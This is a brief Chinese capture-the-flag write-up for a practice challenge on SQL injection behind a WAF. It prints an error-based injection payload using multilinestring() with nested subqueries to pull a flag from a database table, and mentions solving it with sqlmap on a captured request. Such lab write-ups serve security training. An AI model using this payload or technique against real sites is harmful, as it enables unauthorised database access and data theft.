2018-11-14 简单的SQL注入3(带waf)
2018-11-14 本文已影响11人
昨天今天下雨天1
题目:简单的sql注入之3 分值:10
URL:http://www.shiyanbar.com/ctf/1909
解题思路:同题1
解题步骤:
输入:
1' and multilinestring((select * from(select * from(select flag from flag)a)b)) and ''='
使用SQLMAP解题:
先抓包,然后使用sqlmap -r 包,即可解开此题。